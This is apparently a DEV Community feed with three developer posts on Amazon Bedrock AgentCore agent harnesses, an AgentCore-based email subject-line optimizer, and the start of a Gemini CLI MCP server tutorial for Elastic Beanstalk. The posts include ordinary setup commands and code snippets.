DEV Community: AWS Community Builders

What Is an Agent Harness? And Why Every AI Agent Needs One

SURYANSH GUPTA — Sat, 09 May 2026 07:28:09 +0000

If you've spent any time building with AI lately, you've probably heard the word "agent" thrown around a lot. But here's something that doesn't get talked about nearly as much: before you can have a real AI agent, you need a harness.

I know that term might sound unfamiliar or even a little abstract. When I first came across it, I had the same reaction. But once it clicked, I couldn't unsee it — and I genuinely think it's one of the most important concepts to understand if you want to go beyond just calling an LLM API and actually building something that does things autonomously.

Let's break it all down from scratch.

The Problem With "Just Using a Model"

Picture this: you've got API access to a powerful model like Claude or GPT-4. You send it a prompt, it sends back a response. That's great for chatbots and one-shot completions — but what if you want the model to:

Browse the web and pull real-time data?
Execute Python code to analyze that data?
Remember what you told it last week?
Coordinate across multiple steps — each one depending on the last?
Call your internal APIs or tools?

A raw model, on its own, can't do any of that. It can talk about doing those things, but it has no way to actually carry them out. It's like hiring a brilliant analyst who has no laptop, no internet, and can only communicate by passing notes. The intelligence is there — the infrastructure is not.

That missing infrastructure is the harness.

So, What Exactly Is an Agent Harness?

An agent harness is everything you build around a model to transform it from a text-generator into an agent that can act in the real world.

The cleanest formula I've come across is:

Agent = Model + Harness

Anything in your agent that isn't the model itself — is part of the harness.

In concrete terms, the harness typically includes:

The orchestration loop — the logic that takes a user message, asks the model what to do, runs that action, feeds the result back, and repeats until the task is complete.
Tool connections — the plumbing that lets the model call a browser, run code, query a database, or hit an external API.
Memory — short-term context within a session AND long-term memory that persists across sessions.
Context management — deciding what information goes into the prompt at each step (you can't just keep appending forever — models have token limits).
Compute and sandboxing — somewhere safe for the agent to run code without blowing up your system.
Authentication — so your agent can securely call external APIs without leaking credentials.
Observability — logs, traces, and debugging tools so you know what happened when things go sideways at 2 AM.
Session management — the ability for users to pause and resume, pick up right where they left off.

Look at any AI-powered product you use today — Claude Code, GitHub Copilot, Cursor, Perplexity — and behind the scenes, there's a harness doing all of this work. The model is just one piece of a much larger machine.

Why Harness Building Has Been So Painful

Here's the honest reality: building a harness from scratch is hard and time-consuming.

If you've done it before, you know the drill. You pick a framework — LangGraph, LlamaIndex, CrewAI, Strands Agents — and start writing code. You wire up your tools. You manage your prompt structure carefully so the model doesn't get confused. You add error handling for when tool calls fail. You build retry logic. You handle streaming output. You set up logging. You package everything into a container, provision some compute, and deploy it.

And then you realize you need session persistence. So you add a database. And then you realize you need the agent to authenticate with an external API. So you set up credential management. And now you need to understand why the agent went down a weird reasoning path, so you add tracing.

For a straightforward use case, this might take a few days. For a complex one, it could take weeks — and a whole team.

This is the real barrier to building with AI agents. Not the model. The harness.

Enter Managed Harnesses: The Agent Factory Model

Tooling has finally started catching up to this problem. The idea behind a managed harness is simple: instead of writing all that orchestration and infrastructure code yourself, you declare what your agent needs as configuration, and the service builds the harness for you.

Think of it like the difference between setting up your own server (writing harness code from scratch) versus using a managed cloud service (declaring config and letting the platform handle the rest).

Amazon Bedrock AgentCore is one of the services taking this approach. With AgentCore's harness feature, you define your agent in a JSON config file — model, system prompt, tools, memory settings — and the platform compiles that into a fully running agent, handling all the infrastructure underneath.

Under the hood, AgentCore harness uses Strands Agents (AWS's open-source agent SDK) to assemble the orchestration loop, tool execution, memory management, context handling, and streaming. Then it runs the whole thing inside an isolated microVM — its own dedicated CPU, memory, and filesystem — without you provisioning a single server.

Let's Build Something: An AI Trends Analyst in Minutes

To make this concrete, here's how you'd go from zero to a working AI agent using AgentCore harness — and yes, this genuinely takes about 5 minutes.

The Goal

Build an agent that browses HackerNews and dev.to, pulls today's top AI and developer tools posts, clusters them by topic, and produces a ranked summary with a chart — all autonomously.

Step 1: Install the CLI

npm install -g @aws/agentcore@preview

Step 2: Create Your Agent Config Interactively

agentcore create

This command walks you through a set of prompts — which model to use, which tools to enable, authentication type, and so on. At the end, it generates a config file like this:

{
  "name": "TrendsAgentHarness",
  "model": {
    "provider": "bedrock",
    "modelId": "global.anthropic.claude-sonnet-4-6"
  },
  "tools": [
    {
      "type": "agentcore_browser",
      "name": "browser"
    },
    {
      "type": "agentcore_code_interpreter",
      "name": "code-interpreter"
    }
  ],
  "skills": [],
  "authorizerType": "AWS_IAM"
}

That's it. The browser tool lets the agent navigate real websites. The code interpreter gives it a Python sandbox to crunch data and generate charts.

Step 3: Write Your System Prompt

Edit the system-prompt.md file that was created alongside the config:

Your job is to keep a pulse on what the AI and dev community is buzzing 
about right now. Every session, head over to HackerNews and dev.to, 
scrape today's hottest posts, then use the code interpreter to make sense 
of it all — cluster the topics, rank them by how often they show up, and 
summarize the top 5 in plain language. Throw in a bar chart. No fluff.

The system prompt is your agent's personality and operating instructions. This is where you define what it does, how it thinks, and what output you expect from it.

Step 4: Deploy It

agentcore deploy

Behind the scenes, this takes your config and system prompt, assembles a Strands Agents program, and deploys it into a managed microVM environment. No Dockerfile, no Kubernetes, no EC2 instance. Just one command.

Step 5: Invoke It

agentcore invoke --harness TrendsAgentHarness \
  --session-id "$(uuidgen)" \
  "What's trending in IT today?"

What happens when you run this:

The agent opens a browser and navigates to HackerNews.
It scrolls through and reads the top posts.
It does the same on dev.to.
It pulls all the results into the code interpreter.
It runs Python to cluster topics, calculate frequency, and build a bar chart.
It streams a formatted summary back to your terminal.

All of this runs in an isolated microVM that spins up for this session and tears down when it's done. No cross-session data leakage, no noisy neighbors.

What Comes Built In

Here's a breakdown of what AgentCore harness gives you without any extra setup:

Capability	What It Actually Means For You
Isolated microVM per session	Your agent gets its own CPU, memory, and filesystem. Sessions are completely isolated from each other.
Shell access	The agent can run shell commands directly without going through the model's reasoning loop — faster and cheaper.
Persistent filesystem	Mid-session, the agent can save files, pause, and resume exactly where it left off.
Model-agnostic routing	Switch between Bedrock, OpenAI, and Google Gemini. You can even change providers mid-session and the conversation context stays intact.
Built-in browser tool	Powered by AgentCore Browser — the agent can navigate real websites, not just search APIs.
Built-in code interpreter	A full Python sandbox. The agent can write and execute code, generate charts, process files, and more.
MCP server support	Connect to any MCP-compatible tool server — Slack, Notion, GitHub, whatever your workflow needs.
AgentCore Gateway	Connect to APIs you've registered centrally, so credentials are managed outside the agent.
Custom tool definitions	Define your own inline function tools for the agent to call.
Skills	Package domain knowledge as markdown + scripts and give your agent expert-level context on demand.
Full observability	Every action is auto-traced via AgentCore Observability, so you can debug and audit everything that happened.

Agent Skills: Teaching Your Agent Domain Expertise

One feature worth calling out specifically is skills. An agent skill is a bundle of markdown instructions and (optionally) scripts that gives your agent deep knowledge about a specific domain or workflow.

Think of it this way: you can train a general model on your specific context. For example:

A skill that teaches the agent how to work with your internal data format.
A skill that walks the agent through your company's API conventions.
A skill that gives the agent step-by-step knowledge of how to process Excel reports your way.

You package the skill into the agent's environment, point the harness at it, and the agent picks it up and uses it automatically when relevant. No fine-tuning. No custom model training. Just structured knowledge the agent can reference.

The Escape Hatch: When You Outgrow Config

One question you might be asking: "What happens when my use case gets complex enough that a config file isn't enough?"

That's a fair and important question. Maybe you need:

Custom multi-agent orchestration where agents hand off tasks to each other.
Specialized routing logic based on the content of a message.
A fully custom memory layer with your own vector database.
Integration with internal infrastructure that doesn't fit a standard pattern.

AgentCore harness has an answer for this: export to code.

When you need full control, you can export your harness configuration to Strands Agents code. You get the equivalent Python program that AgentCore was running for you — fully readable, fully editable — and you can extend it however you need. You stay on the same platform, just with more control.

This is a smart design. You start with the fast path (config), and you graduate to the custom path (code) only when you actually need it. You're not locked into one or the other.

Common Questions Answered

Do I need to build a harness if I'm just using Claude.ai or ChatGPT?

No. Those are consumer products where someone else already built the harness for you. You need to build your own when you're creating custom agents — ones that call your specific tools, connect to your internal systems, maintain state, or run autonomously over multiple steps.

Is a harness the same as an agent framework?

Not quite. A framework (like Strands Agents, LangGraph, or CrewAI) gives you the building blocks — tool interfaces, loop patterns, model connectors. A harness is the fully assembled, running system: framework code plus compute, sandboxing, memory, auth, and observability. You use a framework to build a harness, or you use a managed service to build one for you.

Can I build a harness without a framework?

Technically yes, but you'd be writing the entire orchestration loop, tool dispatch, error recovery, and context management from scratch. Frameworks exist precisely so you don't have to. It's a bit like writing raw socket code instead of using Express.js — possible, but almost never the right call.

Is the browser tool expensive on tokens?

Yes, it does consume more tokens than simpler tools since it's processing full web pages. For the trends analyst use case, it's absolutely worth it. For agents that need lighter-weight data fetching, you might want to explore API-based tools or MCP servers that return structured data instead.

Why This Matters for the Community

For a long time, building a production-grade AI agent required deep expertise across model APIs, orchestration frameworks, cloud infrastructure, and security. That's a lot of disciplines to combine, and it's been a genuine barrier for developers who want to experiment and build.

Managed harness services like AgentCore change that equation. The gap between "I have an idea for an agent" and "I have a running agent" is now measured in minutes for straightforward use cases. That's genuinely exciting.

It also means the interesting work shifts. Instead of spending your energy on infrastructure plumbing, you can focus on:

What should your agent actually do?
What domain knowledge does it need?
What tools should it have access to?
How should it reason and communicate?

Those are the questions worth spending your time on.

Where to Go From Here

AgentCore harness is currently in public preview in four AWS regions: US West (Oregon), US East (N. Virginia), Europe (Frankfurt), and Asia Pacific (Sydney).

Here are the resources to get started:

The trends analyst agent described in this post — browsing HackerNews, clustering AI topics, generating a chart — took about 5 minutes from idea to first working invocation. The JSON config is 15 lines. The system prompt is 5 lines.

What would you build with 5 minutes and a config file? I'd love to see what the community comes up with. Drop your ideas or experiments in the comments.

If this post helped you understand agent harnesses better, consider sharing it with someone who's been struggling to wrap their head around the agent architecture puzzle. And if you're already building harnesses the hard way, maybe it's time to let the factory do some of that work for you.

Cracking the Bedrock, Reaching the Core: Building Agents with AWS AgentCore Runtime and Memory

Ana Silva — Fri, 08 May 2026 23:49:40 +0000

This article walks through a project I built on Amazon Bedrock AgentCore: an agent that turns campaign briefings into ranked email subject lines, and improves across sessions as it learns from the user.

The goal here isn’t to cover every AgentCore primitive, but to show how a few of them (Runtime and Memory) fit together in a real loop, and to be honest about which ones I deliberately left out. The project itself is intentionally small. The interesting part is the architecture around it: where scoring runs, why the optimization loop stays framework-agnostic, what memory actually stores and which tradeoffs come with each decision.

*👉 You can access the project on Github.
*

Agents-to-AgentCore Evolution
The use case: briefing in, subject lines out
Drafting a solution
I. The entrypoint (main.py)
II. The imperative shell (agent/builder.py)
III. The functional core (agent/iteration.py)
IV. Scoring
V. The two agents and Bedrock
VI. AgentCore Memory: four strategies
VII. Observability
VIII. What I didn't use this time
IX. How to deploy and run it
Closing thoughts

Agents-to-AgentCore Evolution

Bedrock was launched in 2023 as AWS's response to the rapid growth of foundation models use: a single API to call models from companies such as Anthropic, AI21 Labs, Cohere or even Amazon's own Titan family, without managing inference infrastructure. Later that year AWS added Bedrock Agents, a configuration-driven product that bolted tool-calling, knowledge bases, and memory onto a Bedrock model.

It works for many cases, but it is a closed product: the ecosystem strongly revolves around Lambda-based tool execution, retrieval has to be Knowledge Bases, models have to be Bedrock-hosted, and you can't see or control how the agent decides what to do at each step. For more ambitious use cases, teams end up bypassing Bedrock Agents and writing their own harness on EC2 or Lambda, which meant rebuilding the same plumbing every team had to rebuild: session management, sandboxing, identity, memory and observability.

AgentCore, announced in 2025, was AWS's evolution to that pattern. Instead of a single "agent product," it broke the harness apart into composable services and made them framework-agnostic, so you could bring Strands, LangGraph, CrewAI or anything else. April 2026 added the managed Harness, which closed the loop: Harness offers the same easy, configuration-based approach as Bedrock Agents, but it runs on the AgentCore platform and lets you switch to code when you need more control.

AWS continues to maintain both Bedrock Agents and AgentCore in parallel. Bedrock Agents remains available for teams that already use it or prefer a fully managed, configuration-only approach, while AgentCore is positioned as the path forward for new projects that need flexibility, framework choice or production-grade infrastructure.

The use case: briefing in, subject lines out

Email subject lines have an outsized effect on open rates and they're often the only impression a campaign makes. Marketers who have the volume and the time for A/B testing can ship two or more variants and let the data decide. Many marketers don't, so they write a subject line, second-guess it and hit send.

Imagine that you run email marketing for a specialty coffee brand. You open the optimizer, fill in the briefing and set a few constraints: nothing longer than 55 characters, no discount language, no emojis. You hit optimize and watch the rounds come in. Round one produces 8 candidates covering the full stylistic range, from urgency-led to curiosity-led to plain and direct. The scorer immediately tells you which ones carry spam risk, which ones are the right length, which ones align with a retention audience. The weakest three get dropped and the Critic explains why. Round two regenerates those slots with that guidance in mind. By round three the scores have converged and you have a ranked shortlist of five, each with a predicted open-rate band and a breakdown of what drove the score.

Next week you run a cross-sell campaign for the same brand. The briefing is different but the session ID carries your name. Before generating a single candidate, the optimizer reads what it learned from your prior sessions: urgency-led lines consistently underperformed for this brand; premium and exclusivity framing reached the shortlist every time. Round one already looks different from what a first-time user would see.

Input: a campaign briefing

A generic JSON brief with the objective, audience, offer, brand voice and constraints. The kind of structure you'd find in any agency template, nothing platform-specific.

Output: a ranked shortlist of 5

Each variant comes with predicted open-rate range, the dimensions where it scored highest and any flagged risks (spam triggers, length penalty, audience mismatch). The user can ask for follow-ups in the same session — "give me shorter versions of #2 and #4" — and the agent refines while preserving what made those variants score well.

Drafting a solution

Three tiers, top to bottom.

The caller sends a campaign briefing JSON and gets a streamed response back. That exchange happens through a single @app.entrypoint function inside AgentCore Runtime, a managed AWS service that handles the HTTP transport, session lifecycle, and streaming framing so the agent code doesn't have to.

Inside the Runtime, the architecture splits into two layers. The imperative shell (agent/builder.py) owns everything that touches a framework: two Strands agents (Generator and Critic), an in-process scorer, and a memory recall helper. It wires these into four plain Python callables and injects them into the functional core (agent/iteration.py). The core runs the generate/score/critique/regenerate loop and returns a ranked shortlist.

At the bottom, two managed AWS services sit off the request path. Bedrock serves every LLM call via Strands' BedrockModel. AgentCore Memory receives session events automatically from the Strands session manager, and returns extracted patterns when the loop asks for them at the start of each run. The async strategy extraction that makes cross-session learning possible runs roughly 60 seconds after each session ends.

I. The entrypoint (main.py)

The entrypoint has one job: receive a campaign briefing, run the optimization loop and stream results back as they arrive.

AgentCore Runtime gives you this as a single decorator. You don't write a router, configure middleware or manage a server process; instead, you hand it an async generator and it handles the rest: HTTP transport, session lifecycle, streaming framing, session_id and user_id extraction from request headers.

app = BedrockAgentCoreApp()

@app.entrypoint
async def invoke(payload, context):
    session_id = getattr(context, "session_id", None) or "default-session"
    user_id = getattr(context, "user_id", None) or "default-user"
    try:
        briefing = validate_briefing(payload.get("prompt") or "")
    except (ValueError, json.JSONDecodeError) as exc:
        yield f"Invalid briefing: {exc}\n"
        return

    result = run_initial_optimization(briefing, session_id, user_id)
    for round_log in result.rounds:
        for line in _format_round_lines(round_log):
            yield line + "\n"
    yield _format_shortlist(result) + "\n"
    yield json.dumps(_serialize_result(result), ensure_ascii=False)

Every yield sends a chunk to the caller immediately. This matters because an optimization run takes from 30 to 90 seconds and the caller sees each round's scores as they complete, not a blank screen followed by a wall of text.

Refinement works by re-submitting a modified briefing with the same session_id — with, for example, a tighter length constraint, different brand voice or added avoid-words. AgentCore Memory carries learned patterns from prior sessions forward automatically; the entrypoint doesn't need to know about that.

II. The imperative shell (agent/builder.py)

The shell is the wiring layer. It knows about Strands, AgentCore and Bedrock while the functional core doesn't (it receives callables). The shell is what turns those framework dependencies into plain Python functions the core can call without importing anything.

Four things live here: a generator agent, a critic agent, an in-process scorer and a memory recall helper. At the start of each optimization run, all four get injected into the loop as callables.

def run_initial_optimization(briefing, session_id, user_id):
    generator = _make_agent(session_id, user_id, GENERATOR_SYSTEM_PROMPT)
    critic = _make_agent(session_id, user_id, CRITIQUE_SYSTEM_PROMPT)

    def generate(prompt, _n):
        return _strip_json_array(str(generator(prompt)))

    def critique(scored, to_drop):
        return str(critic(build_critique_prompt(scored, to_drop))).strip()

    return run_optimization(
        briefing,
        generate=generate,
        score=score_candidates,
        critique=critique,
        recall=recall_for_user,
        on_round=_emit_round_telemetry,
        actor_id=user_id,
        round_one_prompt_builder=round_one_prompt,
        regenerate_prompt_builder=regenerate_prompt,
    )

The agents

Generator and Critic are separate Strands Agent instances with separate system prompts. The generator is told to produce strict JSON arrays of strings and nothing else. The critic is told to produce two to four sentences of explicit, actionable guidance.

Both share the same AgentCoreMemorySessionManager, so they write to the same session namespace and see the same conversation history.

Scoring stays in-process

score_candidates is not an agent and not a service call — it's a direct import of score_subject_line from scoring/score.py, with the heuristic rules loaded once. No network, no latency, no failure mode beyond a bad CSV row.

The observability hook

on_round=_emit_round_telemetry is the last injection. After each completed round, the loop calls it with a RoundLog. The shell opens an OpenTelemetry span, records seven attributes (round number, candidate count, top score, top subject line, guidance excerpt), closes the span and emits a structured log line.

III. The functional core (agent/iteration.py)

Keeping the loop free of framework imports means it can be read, tested and reasoned about without knowing anything about the surrounding infrastructure. You can swap the LLM, replace the scoring backend or drop AgentCore entirely and the loop doesn't change. The entire contract is in the signature:

def run_optimization(
    briefing: Any,
    generate: Callable[[str, int], list[str]],
    score: Callable[[list[str], Any], list[dict]],
    critique: Callable[[list[dict], list[dict]], str],
    recall: Callable[[str, Any], MemoryContext] | None = None,
    on_round: Callable[[RoundLog], None] | None = None,
    actor_id: str = "anonymous",
    max_rounds: int = 4,
    plateau_epsilon: float = 0.5,
    *,
    round_one_prompt_builder: ...,
    regenerate_prompt_builder: ...,
) -> IterationResult:

Round one generates eight candidates across eight archetypes and scores them all. Each subsequent round generates only the slots vacated by pruning. New and surviving candidates are merged, deduped by subject line and sorted by score.

After sorting, the loop checks whether the top-3 average improved by at least plateau_epsilon points over the prior round. If not, the scores have converged and the loop stops early to avoid wasting LLM calls.

If there's still room to improve and rounds remain, the bottom 40% are pruned and handed to the critic. The critic explains what patterns made them lose in two to four sentences, referencing specific signals. That guidance feeds into the next round's regeneration prompt.

After at most four rounds, the loop returns the top five candidates with the full per-round log and the memory context read at the start.

IV. Scoring

Every candidate produced by the generator gets a score before the loop decides what to keep and what to prune. The scorer runs 45 heuristics against each subject line and returns a composite score between 0 and 100, a predicted open-rate band, per-dimension breakdowns and an explanation of the top contributions. They're stored in a simple CSV and cover 9 dimensions: length, urgency, spam risk, curiosity triggers, value signals, personalization, style, audience fit and brand voice.

A heuristic is not a rule. A rule is binary — pass or fail, always. A heuristic is a signal that contributes positively or negatively to a score based on what the literature says tends to correlate with open rates. "Subject lines between 30 and 50 characters score better" is an empirical observation, not a constraint.

The same urgency words that lift acquisition open rates by +1.0 point hurt retention campaigns by −2.0 and are inappropriate for regulatory notices at −5.0. The audience_modifier column captures that context-dependence per rule; audience tags are inferred automatically from briefing free-text.

rule_id,category,pattern,match_type,weight,audience_modifier
LEN_SWEET_SPOT_30_50,length,30-50,range,8.0,,
URGENCY_BASE_LIFT,urgency,urgent|hurry|now|today,word_any,3.5,acquisition:+1.0;retention:-2.0;regulatory:-5.0
SPAM_TRIGGER_FREE,spam_risk,free|100% free,word_any,-6.0,,
VALUE_FREE_SHIPPING,value_signals,free shipping,phrase,4.0,acquisition:+1.0

These weights are starting points. A real company would probably use a model trained on their own send history or something similar.

V. The two agents and Bedrock

The Generator and Critic share a model and a session manager but have nothing else in common.

Both agents are Strands Agent instances backed by Amazon Nova 2 Lite, invoked via Bedrock's cross-region inference profile. Both are wired to AgentCoreMemorySessionManager, which writes each turn as a session event automatically. Neither agent needs to know about memory because the session manager handles it transparently.

The Generator enforces its output shape through Strands' structured output support rather than prompt engineering. Instead of instructing the model to "output strict JSON arrays only" and then parsing whatever it produces, you pass a Pydantic schema to the agent call and Bedrock enforces it at the model level:

class SubjectLineList(BaseModel):
    subject_lines: list[str] = Field(
        description="Email subject line candidates, one per requested slot."
    )

def generate(prompt: str, _n: int) -> list[str]:
    response = generator(prompt, structured_output_model=SubjectLineList)
    return response.structured_output.subject_lines

The Critic is told to produce two to four sentences of explicit, actionable guidance. No generic advice — it must reference specific patterns in the candidates it's reviewing. "These lines are too long" is not useful guidance for regeneration. "The urgency phrasing in candidates 3 and 5 reads as promotional spam rather than genuine time pressure. Try anchoring to a specific benefit instead" is.

That guidance becomes part of the next round's prompt directly:

prompt = regenerate_prompt_builder(
    briefing,
    memory_context,
    [c["subject_line"] for c in survivors],
    guidance,
    n_to_generate,
)

The surviving candidates and the Critic's diagnosis arrive together. The Generator sees what worked, what didn't and why.

VI. AgentCore Memory: four strategies

Memory touches this project in two distinct ways. The Strands session manager writes conversation events automatically and every Generator and Critic turn lands in the session namespace without any code in the agent to make that happen. Separately, recall_for_user reads extracted patterns explicitly at the start of each optimization run, before any candidate is generated.

Memory also works on two timescales:

Short-term: Within a session, the Strands session manager keeps the full conversation in context, making sure the Critic sees every prior round and the Generator sees every prior critique.
Long-term: Across sessions, AgentCore's four extraction strategies run asynchronously, roughly 60 seconds after a session ends, and populate long-term namespaces:

Strategy	Description	Namespace
`SEMANTIC`	General facts inferred from session content	`/users/{actor_id}/facts`
`USER_PREFERENCE`	Behavioral patterns inferred from what consistently scored well or was pruned	`/users/{actor_id}/preferences`
`SUMMARIZATION`	A compressed summary of the session	`/summaries/{actor_id}/{session_id}`
`EPISODIC`	A record of what happened	`/episodes/{actor_id}/{session_id}`

The agent never writes subject lines or briefings directly to long-term storage. It writes session events and the strategies decide what is worth keeping and in what form.

What the loop reads

At the start of each run, recall_for_user queries the facts and preferences namespaces using the briefing as the retrieval query. It returns up to five patterns per namespace, ranked by relevance score. Those patterns flow into the round-one generation prompt:

Patterns observed across this user's prior sessions:
- Urgency-led subject lines were pruned in 3 of 4 prior sessions
- Premium and exclusivity framing consistently reached the final shortlist

Inferred preferences for this user:
- Discount and price-led language does not align with observed brand voice
- Sentence case outperformed title case across recent campaigns

The Generator sees what worked and what didn't before producing a single candidate.

VII. Observability

The optimization loop runs for 30–90 seconds across up to four rounds. Without instrumentation, a slow run and a failing run look identical from the outside.

After each completed round, the loop calls an on_round callback with a RoundLog. The shell's implementation emits two concurrent signals:

def _emit_round_telemetry(round_log: RoundLog) -> None:
    span = _tracer.start_span("optimization_round")
    try:
        span.set_attribute("round.number", round_log.round_number)
        span.set_attribute("round.candidate_count", len(candidates))
        span.set_attribute("round.pruned_count", len(round_log.pruned))
        span.set_attribute("round.top3_average", round(top3_avg, 2))
        span.set_attribute("round.top_score", round(top_score, 2))
        span.set_attribute("round.top_subject_line", top_subject[:200])
        span.set_attribute("round.guidance_excerpt", round_log.guidance[:300])
    finally:
        span.end()
    log.info("optimization_round_complete", extra={...})

An optimization_round OTel span with seven attributes appears as a child span under each invocation in AgentCore traces. The round.top3_average and round.top_score attributes show whether scores are improving across rounds. round.guidance_excerpt shows what the critic said before each regeneration step — the most useful signal when a run plateaus unexpectedly.

The same fields appear as a structured log.info event, queryable in CloudWatch Logs Insights:

fields @timestamp, round_number, top3_average, top_score, guidance_excerpt
| filter @message = "optimization_round_complete"
| sort @timestamp asc

The traceId field on the log event matches the span ID in the traces UI, so you can move between the two surfaces without losing context.

VIII. What I didn't use this time

AgentCore ships with more primitives than this project uses. Some of the ones that didn't make it in are worth naming.

Code Interpreter is the right choice when code has to run in a sandbox: the LLM authors it at runtime, it carries untrusted dependencies or it comes from a source outside the agent's own deployment artifact. The scoring script here has 250 lines of standard library Python, authored by the agent's owner, deployed in the same place as main.py. There is no organizational or security boundary for Code Interpreter to enforce. Adding a managed sandbox would introduce spin-up latency, a separate billing line, a separate failure mode and a service dependency.

Policy manages what agents are allowed to do — which tools they can call, which users can invoke them, which actions are gated behind approval. It earns its place in multi-tenant deployments where different users have different permissions or in agentic workflows where the consequences of a wrong action are hard to reverse.

Gateway exposes an agent as a managed API endpoint with authentication, rate limiting, and request routing. It's the right choice when the agent is a shared service consumed by multiple callers across organizational boundaries.

Every primitive on this list is genuinely useful for the problems it was designed to solve. The real challenge is identifying which problem you actually have. Adopting every available managed service does not make an agent more sophisticated, and it often makes the system harder to reason about, more expensive to run or even more fragile.

When evaluating a new service or functionality, think about: what complexity am I introducing alongside it, what failure modes come with it, and whether it meaningfully simplifies the system.

IX. How to deploy and run it

Prerequisites

Before deploying, make sure you have:

An AWS account with Amazon Bedrock access
The agentcore CLI installed (npm install -g @aws/agentcore-cli)
AWS credentials configured with permissions for Bedrock, CloudFormation, IAM, ECR, and S3

To confirm your credentials are working:

aws sts get-caller-identity

Testing locally before deploying

To iterate on the agent without incurring a full deploy cycle, you can run the local dev server:

agentcore dev

This starts the runtime at http://localhost:8080. Bedrock model calls still go to AWS, so you need valid credentials, but no CloudFormation changes are made. Memory is not active in dev mode unless you export MEMORY_ID manually with the ID from your deployed memory resource.

Deploying

From the project root:

agentcore deploy

The CLI runs CDK under the hood, synthesizing a CloudFormation stack, bootstrapping the CDK environment if needed, and provisioning the runtime, the memory resource, and the IAM roles. The first deploy takes a couple of minutes. When it completes you'll see a runtime ARN in the output — that ARN is the deployed endpoint.

Running an invocation

The project ships with four example briefings under app/subject_line_optimizer/briefing/examples/. Each is a self-contained campaign briefing JSON ready to send.

To invoke the deployed agent with the reactivation example:

agentcore invoke \
  --target default \
  --prompt-file app/subject_line_optimizer/briefing/examples/reactivation.json \
  --session-id "create-an-id-here-001" \
  --user-id "your-user-id" \
  --stream

A few things to note:

--target default routes to the deployed endpoint, not the local dev server
--prompt-file reads the briefing directly; the CLI wraps it in {"prompt": "..."} before sending, so pass the raw briefing file
--session-id must be at least 33 characters; a UUID works well
--user-id scopes the AgentCore Memory namespaces — use a consistent identifier across sessions so the agent accumulates preferences for that user over time
--stream prints each chunk as it arrives, so you see the rounds progressing in real time

Example output

Optimizing subject lines for: Q3 Lapsed Customer Reactivation

[round 1]
  83.0  Ready to rediscover your favorite things? Claim 25% off now
        (LEN_ACCEPTABLE_20_60, URGENCY_BASE_LIFT, VALUE_PERCENT_OFF)
  80.0  Unlock 25% off – your loyalty reward is ready to claim
        (LEN_ACCEPTABLE_20_60, VALUE_PERCENT_OFF, LOYALTY_LANGUAGE)
  ...
  pruned: 3
  guidance for next round: Avoid overly conversational openings...

[round 2]
  91.2  Claim your 25% loyalty reward – 14 days to save
        (LEN_SWEET_SPOT_30_50, LOYALTY_LANGUAGE)
  ...

=== Final shortlist ===
1. Claim your 25% loyalty reward – 14 days to save
   score 91.2   open-rate band 42.0–50.0%
   ...

The final chunk is a machine-readable JSON object with the full shortlist, per-round logs, and plateau status.

There is currently no built-in UI in the AWS console to browse memory contents. A community-built tool called AgentCore Memory Browser fills this gap.

Closing thoughts

The thing I keep coming back to is that AgentCore doesn't have an opinion about what the agent should look like. Bedrock Agents did, and the opinion was reasonable for a lot of cases. AgentCore gives you a Runtime, a Memory service, a set of primitives, and trusts you to assemble them. That trust is the feature.

MCP Development with Amazon Elastic Beanstalk (EBS)

xbill — Fri, 08 May 2026 21:56:56 +0000

Leveraging Gemini CLI and the underlying Gemini LLM to build Model Context Protocol (MCP) AI applications with Python from a local development environment deployed to the EBS service on AWS.

Yet another Python MCP Demo?

Yes — thanks for asking.

Python has traditionally been the main coding language for ML and AI tools. The goal of this article is to provide a minimal viable basic working MCP stdio server that can be run locally without any unneeded extra code or extensions.

What Is Python?

Python is an interpreted language that allows for rapid development and testing and has deep libraries for working with ML and AI:

Welcome to Python.org

Python Version Management

One of the downsides of the wide deployment of Python has been managing the language versions across platforms and maintaining a supported version.

The pyenv tool enables deploying consistent versions of Python:

GitHub - pyenv/pyenv: Simple Python version management

As of writing — the mainstream python version is 3.13. To validate your current Python:

admin@ip-172-31-70-211:~/gemini-cli-aws/mcp-lightsail-python-aws$ python --version
Python 3.13.12

Gemini CLI

If not pre-installed you can download the Gemini CLI to interact with the source files and provide real-time assistance:

npm install -g @google/gemini-cli

Testing the Gemini CLI Environment

Once you have all the tools and the correct Node.js version in place- you can test the startup of Gemini CLI. You will need to authenticate with a Key or your Google Account:

xbill@penguin:~$ gemini

 ▝▜▄ Gemini CLI v0.40.1
   ▝▜▄
  ▗▟▀ Signed in with Google /auth
 ▝▀ Plan: Gemini Code Assist Standard /upgrade

Node Version Management

Gemini CLI needs a consistent, up to date version of Node. The nvm command can be used to get a standard Node environment:

GitHub - nvm-sh/nvm: Node Version Manager - POSIX-compliant bash script to manage multiple active node.js versions

Python MCP Documentation

The official GitHub Repo provides samples and documentation for getting started:

GitHub - modelcontextprotocol/python-sdk: The official Python SDK for Model Context Protocol servers and clients

The most common MCP Python deployment path uses the FASTMCP library:

Welcome to FastMCP - FastMCP

Docker Version Management

The AWS Cli tools and Lightsail extensions need current version of Docker. If your environment does not provide a recent docker tool- the Docker Version Manager can be used to downlaod the latest supported Docker:

Install

Amazon Elastic Bean Stalk

AWS Elastic Beanstalk is a Platform-as-a-Service (PaaS) used for deploying and scaling web applications and services into the Amazon Web Services (AWS) Cloud. [1, 2]

It simplifies the development process by allowing you to upload your application code while the service automatically manages the complex infrastructure details.

More details are here:

Web App Deployment - AWS Elastic Beanstalk - AWS

The EBS console looks similar to this:

AWS CLI

The AWS CLI provides a command line tool to directly access AWS services from your current environment. Full details on the CLI are available here:

Install Docker, AWS CLI, and the Lightsail Control plugin for containers

Where do I start?

The strategy for starting MCP development is a incremental step by step approach.

First, the basic development environment is setup with the required system variables, and a working Gemini CLI configuration.

Then, a minimal Hello World Style Python MCP Server is built with HTTP transport. This server is validated with Gemini CLI in the local environment.

This setup validates the connection from Gemini CLI to the local process via MCP. The MCP client (Gemini CLI) and the Python MCP server both run in the same local environment.

Next- the MCP server is wrapped in a container with docker and deployed to Amazon Elastic Beanstalk. This remote deployment is validated with Gemini CLI running as a MCP client.

Setup the Basic Environment

At this point you should have a working Python interpreter and a working Gemini CLI installation. The next step is to clone the GitHub samples repository with support scripts:

cd ~
git clone https://github.com/xbill9/gemini-cli-aws

Then run init.sh from the cloned directory.

The script will attempt to determine your shell environment and set the correct variables:

cd gemini-cli-aws
source init.sh

If your session times out or you need to re-authenticate- you can run the set_env.sh script to reset your environment variables:

cd gemini-cli-aws
source set_env.sh

Variables like PROJECT_ID need to be setup for use in the various build scripts- so the set_env script can be used to reset the environment if you time-out.

Hello World with HTTP Transport

One of the key features that the standard MCP libraries provide is abstracting various transport methods.

